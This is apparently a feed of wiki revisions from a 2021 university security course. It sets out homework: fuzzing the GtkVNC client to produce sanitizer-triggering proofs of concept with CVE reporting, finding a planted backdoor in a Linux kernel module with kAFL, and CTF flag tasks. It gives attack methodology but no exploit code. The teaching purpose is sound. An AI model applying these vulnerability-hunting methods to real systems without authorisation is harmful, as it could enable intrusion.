* [https://github.com/llvm-mirror/compiler-rt/blob/master/test/fuzzer/AbsNegAndConstant64Test.cpp Пример интересного теста из libFuzzer (да, он и такое умеет)]&lt;br /&gt;
* [https://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/ Пример фаззинга реального приложения от и до]&lt;br /&gt;
* [https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md libFuzzer tutorial]&lt;br /&gt;
&lt;br /&gt;
=== FAQ по домашке ===&lt;br /&gt;
&lt;br /&gt;
* Что делать если &amp;quot;Internal Error&amp;quot;? &lt;br /&gt;
&lt;br /&gt;
Писать в чат в телегремме. На сервере иногда случаются докер-проблемы, но всё что отработало с &amp;quot;Internal Error&amp;quot; будет перепроверено и засчитано. &lt;br /&gt;
&lt;br /&gt;
* Почему мы откатываемся на какой-то коммит? Неужели ты нас обманул и мы ищем уже запатченные уязвимости? &lt;br /&gt;
&lt;br /&gt;
Нет, на коммит я откатился, потому что на нём я тестировал свой фаззер и вместе с ним сбилжен тестовый билд с ASAN-ом на котором проверяются ваши эксплоиты. Соответственно вам тоже удобнее будет тестировать не на последнем коммите, потому что если в проекте с тех пор появились какие-то обновления, то они могут помешать и вы не поймёте что случилось.&lt;br /&gt;
&lt;br /&gt;
* У тебя там тестируется всё локально, поэтому я могу наверное как-то обмануть проверяющую систему и мне засчитается submission? &lt;br /&gt;
&lt;br /&gt;
Скорее всего это не получится. Контейнеры, в которых запускаются ваш PoC и уязвимый бинарь, изолированы друг от друга и от общей докеровской сети. Кстати, в связи с этим будьте внимательны: ваш PoC должен слушать порт 5900 не на 127.0.0.1, а на 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
* Экслоит не работает. Что делать?&lt;br /&gt;
&lt;br /&gt;
Сбилдить указанный коммит с ASAN-ом и проверить руками свой пок.&lt;br /&gt;
&lt;br /&gt;
* Эксплоит работает локально, но не работает удалённо. Что делать?&lt;br /&gt;
&lt;br /&gt;
Проверьте различные проблемы. Проверьте, что первой строчкой в вашем поке идёт шебанг. Вы используете питон версии 3. Ваш пок не использует лишних библиотек. Если вы сидите на винде, то замените все переводы строк с CRLF на LF. Если всё это не работает, то пишите в чат в телеграмме.&lt;br /&gt;
&lt;br /&gt;
* Что должен содержать минимальный репорт?&lt;br /&gt;
&lt;br /&gt;
Подробное описание где конкретно проижошла уязвимость с именами файлов, функций и номерами строк. Что привело к уязвимости: понятное и точное описание с именами переменных. Импакт от данной уязвимости. Может ли данная уязвимость привести к возможности удалённого исполнения кода. Если для этого будут требоваться другие уязвимости, то написать какие именно (например, memory leak). Если при описании импакта Вы не уверены на 100%, то можно написать об этом. Идентификатор [https://cwe.mitre.org/ CWE].&lt;br /&gt;
&lt;br /&gt;
* Где создать репорт? &lt;br /&gt;
&lt;br /&gt;
После того, как ваш PoC отработал со статусом &amp;quot;success&amp;quot; кнопка &amp;quot;Create Report&amp;quot; будет находиться на полной странице вашего submission_a. Там же впоследствии появится комментарий проверяющего после ревью.&lt;br /&gt;
&lt;br /&gt;
== Второй семинар ==&lt;br /&gt;
&lt;br /&gt;
== Третий семинар ==&lt;br /&gt;
&lt;br /&gt;
На третьем семинаре мы говорили о фаззинге бинарных программ на уровне ядра.&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
Дан [https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing_3_hw.zip небольшой ядерный модуль] для Linux 5.4.0-72 (такое ядро есть, например, на полностью обновлённой Ubuntu 20.04). Его можно загрузить с помощью команды &amp;lt;code&amp;gt;insmod&amp;lt;/code&amp;gt;. Модуль реализует простейшее устройство, принимающее файл конфигурации и возвращающее значение параметра из него. Для взаимодействия с ним можно создать устройство в файловой системе: после insmod посмотрите в выводе dmesg, какой &amp;quot;major device number&amp;quot; получило устройство test. У меня этот номер равен 241, дальше буду использовать его. Для создания файла устройства выполните команду &amp;lt;code&amp;gt;mknod /dev/test c 241 0&amp;lt;/code&amp;gt;. После этого с модулем можно общаться через файл &amp;lt;code&amp;gt;/dev/test&amp;lt;/code&amp;gt;. Для примера, сделайте &amp;lt;code&amp;gt;echo &#039;{&amp;quot;param1&amp;quot;: &amp;quot;123456&amp;quot;}&#039; &amp;gt; /dev/test &amp;amp;&amp;amp; head -c 6 /dev/test&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В модуле есть &amp;quot;закладка&amp;quot;, вам предлагается найти её с помощью фаззинга. Скачайте kAFL (официальный репозиторий располагается [https://github.com/IntelLabs/kAFL тут], но я советую использовать мою ветку ip_decoder_fix [https://github.com/vient/kAFL отсюда]): &amp;lt;code&amp;gt;git clone https://github.com/vient/kAFL &amp;amp;&amp;amp; cd kAFL &amp;amp;&amp;amp; git checkout ip_decoder_fix&amp;lt;/code&amp;gt;. После этого воспользуйтесь [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Installation.md мануалами] и [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Linux_fuzzing.md документацией] для подготовки окружения и фаззинга. Обратите внимание, что kAFL не будет работать в виртуальной машине!&lt;br /&gt;
&lt;br /&gt;
Для сдачи задания вам нужно прислать тест-триггер уязвимости и описание, как высокоуровнево устроен бекдор, на [mailto:vient@seclab.cs.msu.ru мою почту]. С вопросами по поводу дз можно писать мне в телеграм @vient.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Дедлаин по этой задаче: 16 мая 23:59:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=543</id>
		<title>Дополнительные главы практической безопасности (2021)/Домашнее задание по фаззингу</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=543"/>
		<updated>2021-05-08T11:57:05Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Задача */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Домашнее задание по фаззингу =&lt;br /&gt;
&lt;br /&gt;
== Первый семинар ==&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
http://fuzzing.tasks.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
На первом семинаре мы с вами говорили о том, что CTF задачи на бинарную эксплуатацию довольно часто развивают не те навыки, которые востребованы в реальной жизни. Данная задача направлена на развитие ваших навыков автоматизации поиска уязвимостей, диагностики ошибок и написания репортов по найдённым уязвимостям. Для выполнения задачи вам будет предложено искать реальные уязвимости в реальном продукте при помощи фаззинга.&lt;br /&gt;
&lt;br /&gt;
Исследуемый продукт: GtkVNC — клиент для приложений доступа к удалённого экрану, которые используют протокол RFB. [https://tools.ietf.org/html/rfc6143 RFC на протокол]&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы начать искать уязвимости [https://gist.github.com/PaulCher/d4ed9df3e04e0777198538cd36c79a4c достаточно сделать это...]&lt;br /&gt;
&lt;br /&gt;
Правила игры:&lt;br /&gt;
Чем больше уязвимостей Вы найдёте в проекте — тем лучше. &lt;br /&gt;
Сколько уязвимостей — неизвестно, но они есть. &lt;br /&gt;
Если Вы — первый человек, кто нашёл уязвимость данного типа, то мы вместе непублично репортим уязвимость вендору и регистрируем на Вас идентификатор CVE.&lt;br /&gt;
Уязвимости, которые приводят к возможности получения удалённого доступа на клиенте оцениваются выше, чем уязвимости, которые приводят к падению клиента (RCE круче, чем DoS). &lt;br /&gt;
Уязвимости искать руками тоже можно не используя фаззинг, это не будет контролироваться.&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы подтвердить, что вы действительно нашли уязвимость вам необходимо будет написать минимальный Proof-of-Concept, который необходимо будет сдать в проверяющую систему. Проверяющая система будет запускать ваш PoC и тестировать, что бинарный пакет gtkvnc, скомпилированный с AddressSanitizer выдаёт типичную для ASAN-a ошибку. Если уязвимость, которую вы нашли не триггерит ASAN, но является уязвимостью (например это ошибка неинициализированной памяти, которую клиент удалённо может считать), то пишите в телеграмм paulchr . Такие уязвимость тоже буду засчитаны. &lt;br /&gt;
&lt;br /&gt;
Прежде, чем посылать эксплоит на сервер рекомендуется убедиться, что вы можете получить ошибку локально, подключившись при помощи клиента GtkVNC, который скомпилирован с библиотекой ASAN. После того как вы убедились в этом, посылайте ваш PoC на сервер. Для этого надо зарегистрироваться на нём, выбрать &amp;quot;Targets&amp;quot; -&amp;gt; &amp;quot;GtkVNC&amp;quot; и загрузить скрипт на сервер. Запускаться он будет через ./poc, так что не забудьте шабанг. &lt;br /&gt;
&lt;br /&gt;
Если PoC успешно пройдёт проверку, то он будет переведён из состояния &amp;quot;in progress&amp;quot; в состояние &amp;quot;success&amp;quot;, иначе он перейдёт в состояние &amp;quot;failed&amp;quot;. Таймаут работы — одна минута, но если вашему скрипту нужно больше времени на работу, чтобы стриггерить уязвимость, так как он, например, посылает много данных, то это поправимо (пишите в телеграмм). Если после загрузки файла на сервер ваш PoC завис в состоянии &amp;quot;in progreess&amp;quot;, &amp;quot;created&amp;quot; или &amp;quot;internal error&amp;quot;, то пишите в телеграмм, скорее всего что-то сломалось и я постараюсь это почитать как только так сразу. Система тестируется на людях в первый раз.&lt;br /&gt;
&lt;br /&gt;
Если ваш PoC перешёл в состояние success, то поздравляю, вы стриггерили уязвимость, но это не конец. Для успешного завершения упражнения Вам необходимо написать репорт в проверяющую систему где вы опишете подробно насколько это возможно уязвимость и последствия для программы, к которым она приводит. Описание отправляется на ревью (состояние &amp;quot;on review&amp;quot;) и может быть отклонено администраторами системы, если репорт был плохо написан. Примеры таких возможных случаев: причина уязвимости была неверно истолкована или непонятно изложена, импакт данной уязвимости был определён неверно, ваш PoC написан не достаточно понятно или обфусцирован или был загружен бинарный исполняемый файл. В таком случае Ваш submission отправляется в состояние &amp;quot;rejected&amp;quot;. Если Вы первым смогли стриггерить  данную уязвимость, но плохо написали репорт, и человек после Вас получил успешный статус &amp;quot;success&amp;quot;, то он будет считаться первым успешно выполнившим задание, а следовательно, будет претендовать на получение идентификатора CVE, даже если Вы потом успешно заново сдали данную уязвимость.&lt;br /&gt;
&lt;br /&gt;
В окружении в котором будет запускаться ваш PoC есть питон3 и библиотека pwntools. [https://gist.github.com/PaulCher/d86d4db6bba67034e1c4de69e9edafd7 Подробнее об устройстве PoC контейнере]&lt;br /&gt;
&lt;br /&gt;
Делиться информацией о найденных уязвимостях ни с кем  категорически нельзя до конца задания!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Дедлаин по этой задаче: 16 мая 23:59:59&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Вспомогательные материалы ===&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/google/AFL/ AFL]&lt;br /&gt;
* [https://github.com/google/AFL/blob/master/docs/technical_details.txt AFL technical_details.txt]&lt;br /&gt;
* [https://llvm.org/docs/LibFuzzer.html Базовая справка по libFuzzer]&lt;br /&gt;
* [https://github.com/Dor1s/libfuzzer-workshop Хороший воркшоп про libFuzzer]&lt;br /&gt;
* [https://github.com/google/sanitizers/wiki/AddressSanitizer Документация AddressSanitizer]&lt;br /&gt;
* [https://github.com/llvm-mirror/compiler-rt/blob/master/test/fuzzer/AbsNegAndConstant64Test.cpp Пример интересного теста из libFuzzer (да, он и такое умеет)]&lt;br /&gt;
* [https://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/ Пример фаззинга реального приложения от и до]&lt;br /&gt;
* [https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md libFuzzer tutorial]&lt;br /&gt;
&lt;br /&gt;
=== FAQ по домашке ===&lt;br /&gt;
&lt;br /&gt;
* Что делать если &amp;quot;Internal Error&amp;quot;? &lt;br /&gt;
&lt;br /&gt;
Писать в чат в телегремме. На сервере иногда случаются докер-проблемы, но всё что отработало с &amp;quot;Internal Error&amp;quot; будет перепроверено и засчитано. &lt;br /&gt;
&lt;br /&gt;
* Почему мы откатываемся на какой-то коммит? Неужели ты нас обманул и мы ищем уже запатченные уязвимости? &lt;br /&gt;
&lt;br /&gt;
Нет, на коммит я откатился, потому что на нём я тестировал свой фаззер и вместе с ним сбилжен тестовый билд с ASAN-ом на котором проверяются ваши эксплоиты. Соответственно вам тоже удобнее будет тестировать не на последнем коммите, потому что если в проекте с тех пор появились какие-то обновления, то они могут помешать и вы не поймёте что случилось.&lt;br /&gt;
&lt;br /&gt;
* У тебя там тестируется всё локально, поэтому я могу наверное как-то обмануть проверяющую систему и мне засчитается submission? &lt;br /&gt;
&lt;br /&gt;
Скорее всего это не получится. Контейнеры, в которых запускаются ваш PoC и уязвимый бинарь, изолированы друг от друга и от общей докеровской сети. Кстати, в связи с этим будьте внимательны: ваш PoC должен слушать порт 5900 не на 127.0.0.1, а на 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
* Экслоит не работает. Что делать?&lt;br /&gt;
&lt;br /&gt;
Сбилдить указанный коммит с ASAN-ом и проверить руками свой пок.&lt;br /&gt;
&lt;br /&gt;
* Эксплоит работает локально, но не работает удалённо. Что делать?&lt;br /&gt;
&lt;br /&gt;
Проверьте различные проблемы. Проверьте, что первой строчкой в вашем поке идёт шебанг. Вы используете питон версии 3. Ваш пок не использует лишних библиотек. Если вы сидите на винде, то замените все переводы строк с CRLF на LF. Если всё это не работает, то пишите в чат в телеграмме.&lt;br /&gt;
&lt;br /&gt;
* Что должен содержать минимальный репорт?&lt;br /&gt;
&lt;br /&gt;
Подробное описание где конкретно проижошла уязвимость с именами файлов, функций и номерами строк. Что привело к уязвимости: понятное и точное описание с именами переменных. Импакт от данной уязвимости. Может ли данная уязвимость привести к возможности удалённого исполнения кода. Если для этого будут требоваться другие уязвимости, то написать какие именно (например, memory leak). Если при описании импакта Вы не уверены на 100%, то можно написать об этом. Идентификатор [https://cwe.mitre.org/ CWE].&lt;br /&gt;
&lt;br /&gt;
* Где создать репорт? &lt;br /&gt;
&lt;br /&gt;
После того, как ваш PoC отработал со статусом &amp;quot;success&amp;quot; кнопка &amp;quot;Create Report&amp;quot; будет находиться на полной странице вашего submission_a. Там же впоследствии появится комментарий проверяющего после ревью.&lt;br /&gt;
&lt;br /&gt;
== Второй семинар ==&lt;br /&gt;
&lt;br /&gt;
== Третий семинар ==&lt;br /&gt;
&lt;br /&gt;
На третьем семинаре мы говорили о фаззинге бинарных программ на уровне ядра.&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
Дан [https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing_3_hw.zip небольшой ядерный модуль] для Linux 5.4.0-72 (такое ядро есть, например, на полностью обновлённой Ubuntu 20.04). Его можно загрузить с помощью команды &amp;lt;code&amp;gt;insmod&amp;lt;/code&amp;gt;. Модуль реализует простейшее устройство, принимающее файл конфигурации и возвращающее значение параметра из него. Для взаимодействия с ним можно создать устройство в файловой системе: после insmod посмотрите в выводе dmesg, какой &amp;quot;major device number&amp;quot; получило устройство test. У меня этот номер равен 241, дальше буду использовать его. Для создания файла устройства выполните команду &amp;lt;code&amp;gt;mknod /dev/test c 241 0&amp;lt;/code&amp;gt;. После этого с модулем можно общаться через файл &amp;lt;code&amp;gt;/dev/test&amp;lt;/code&amp;gt;. Для примера, сделайте &amp;lt;code&amp;gt;echo &#039;{&amp;quot;param1&amp;quot;: &amp;quot;123456&amp;quot;}&#039; &amp;gt; /dev/test &amp;amp;&amp;amp; head -c 6 /dev/test&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В модуле есть &amp;quot;закладка&amp;quot;, вам предлагается найти её с помощью фаззинга. Скачайте kAFL (официальный репозиторий располагается [https://github.com/IntelLabs/kAFL тут], но я советую использовать мою ветку ip_decoder_fix [https://github.com/vient/kAFL отсюда]): &amp;lt;code&amp;gt;git clone https://github.com/vient/kAFL &amp;amp;&amp;amp; cd kAFL &amp;amp;&amp;amp; git checkout ip_decoder_fix&amp;lt;/code&amp;gt;. После этого воспользуйтесь [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Installation.md мануалами] и [https://github.com/vient/kAFL/blob/ip_decoder_fix/doc/TUTORIAL.Linux_fuzzing.md документацией] для подготовки окружения и фаззинга. Обратите внимание, что kAFL не будет работать в виртуальной машине!&lt;br /&gt;
&lt;br /&gt;
Для сдачи задания вам нужно прислать тест-триггер уязвимости и описание, как высокоуровнево устроен бекдор, на [mailto:vient@seclab.cs.msu.ru мою почту]. С вопросами по поводу дз можно писать мне в телеграм @vient.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=534</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=534"/>
		<updated>2021-04-30T11:47:02Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;16 мая, 23.59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
</feed>